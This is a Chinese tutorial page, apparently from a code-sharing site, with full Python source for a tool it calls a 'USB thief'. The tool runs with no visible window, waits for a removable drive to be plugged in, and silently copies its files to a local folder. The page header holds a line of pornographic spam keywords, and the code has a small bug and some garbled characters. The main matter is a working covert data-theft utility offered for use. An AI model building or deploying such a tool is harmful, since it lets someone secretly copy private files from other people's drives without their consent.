亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Python實現U盤數據復制工具

 更新時間:2025年01月03日 10:20:38   作者:hvinsion  
這篇文章主要為大家詳細介紹了如何使用Python實現一個U盤數據復制工具,它可以幫助用戶快速、方便地將U盤中的文件復制到計算機中,希望對大家有所幫助

1. 簡介

顧名思義,U盤小偷是一款功能強大的U盤數據復制工具。它可以幫助用戶快速、方便地將U盤中的文件復制到計算機中,此工具簡潔易用,用戶只需簡單更改配置文件具體參數即可完成對U盤內文件的復制工作。

功能:

  • 打包好的程序雙擊運行無控制臺界面彈出,后臺靜默搜索U盤插入狀態(tài),更加隱私下載。
  • 可通過更改config.ini配置文件從而更改檢索U盤的時間間隔、文件copy的目的路徑、可選的copy內容等,具體可以參考以下config.ini的文檔說明。
  • 可自定義選擇篩選需要copy的文件內容,亦可選擇全部下載。

config.ini文件相關內容

# PASTE_PATH:需要復制到電腦的文件夾路徑
# KEYWORD:關鍵詞索引,如果留空不填寫則表示復制U盤下的所有文件以及文件夾
# INTERVAL_TIME:更改檢查U盤是否存在的間隔時間,默認1s檢查一次

[config]
PASTE_PATH = D:\usb
kEYWORD = 
INTERVAL_TIME = 5

2. 運行效果

3. 相關源碼

import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
 
 

    # 讀取API配置
config = configparser.ConfigParser()
config.read('config.ini')
        
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
  
 
# 獲取U盤的盤符
# disk_partitions() 打印一下他的返回值,就會完全清楚下面這個函數
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可讀、可移動介質
            logger.info("發(fā)現USB:%s" % str(item))
            return item.device
    logger.info("沒有發(fā)現USB")
    return None
 
 
# 讀取想要的文件  u盤所有文件或者文件名含有某個字段的文件及文件夾
# 1、文件夾含有該字段:復制文件夾;
# 2、文件含有字段,復制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 無篩選規(guī)則,復制所有
        copytree(src, dst)
        logger.info("復制%s盤USB所有內容到%s" % (src, dst))
    else: # 復制部分
        paths = os.listdir(os.path.join(src, path)) # 獲取當前路徑下的所有文件及文件夾
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夾,還有字符直接復制文件夾;否則遞歸遍歷文件夾下的內容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("復制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)
 
 
if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select=ukeyword, dst=pastePATH)
            break
        sleep(int(intervalTime))

到此這篇關于Python實現U盤數據復制工具的文章就介紹到這了,更多相關Python U盤數據復制內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • Python中列表、字典、元組數據結構的簡單學習筆記

    Python中列表、字典、元組數據結構的簡單學習筆記

    這篇文章主要介紹了Python中列表、字典、元組數據結構的簡單學習筆記,文中講到了字典在Python3中特性和操作方法的一些變化,需要的朋友可以參考下
    2016-03-03
  • 利用Python求陰影部分的面積實例代碼

    利用Python求陰影部分的面積實例代碼

    這篇文章主要給大家介紹了關于利用Python求陰影部分面積的相關資料,文中通過示例代碼介紹的非常詳細,對大家學習或者使用python具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2018-12-12
  • python實現動態(tài)創(chuàng)建類的方法分析

    python實現動態(tài)創(chuàng)建類的方法分析

    這篇文章主要介紹了python實現動態(tài)創(chuàng)建類的方法,結合實例形式分析了Python動態(tài)創(chuàng)建類的原理、實現方法及相關操作技巧,需要的朋友可以參考下
    2019-06-06
  • django model 條件過濾 queryset.filter(**condtions)用法詳解

    django model 條件過濾 queryset.filter(**condtions)用法詳解

    這篇文章主要介紹了django model 條件過濾 queryset.filter(**condtions)用法詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-05-05
  • Pandas_cum累積計算和rolling滾動計算的用法詳解

    Pandas_cum累積計算和rolling滾動計算的用法詳解

    今天小編就為大家分享一篇Pandas_cum累積計算和rolling滾動計算的用法詳解,具有好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-07-07
  • python實現連續(xù)圖文識別

    python實現連續(xù)圖文識別

    這篇文章主要為大家詳細介紹了python實現連續(xù)圖文識別功能,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-12-12
  • 使用Django實現把兩個模型類的數據聚合在一起

    使用Django實現把兩個模型類的數據聚合在一起

    這篇文章主要介紹了使用Django實現把兩個模型類的數據聚合在一起,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-03-03
  • django中間件及自定義中間件的實現方法

    django中間件及自定義中間件的實現方法

    中間件就是在目標和結果之間進行的額外處理過程,在Django中就是request和response之間進行的處理,相對來說實現起來比較簡單,這篇文章主要介紹了django中間件以及自定義中間件?,需要的朋友可以參考下
    2023-06-06
  • 使用jupyter notebook直接打開.md格式的文件

    使用jupyter notebook直接打開.md格式的文件

    這篇文章主要介紹了使用jupyter notebook直接打開.md格式的文件,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-04-04
  • Python3 微信支付(小程序支付)V3接口的實現

    Python3 微信支付(小程序支付)V3接口的實現

    本文主要介紹了Python3 微信支付(小程序支付)V3接口的實現,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-01-01

最新評論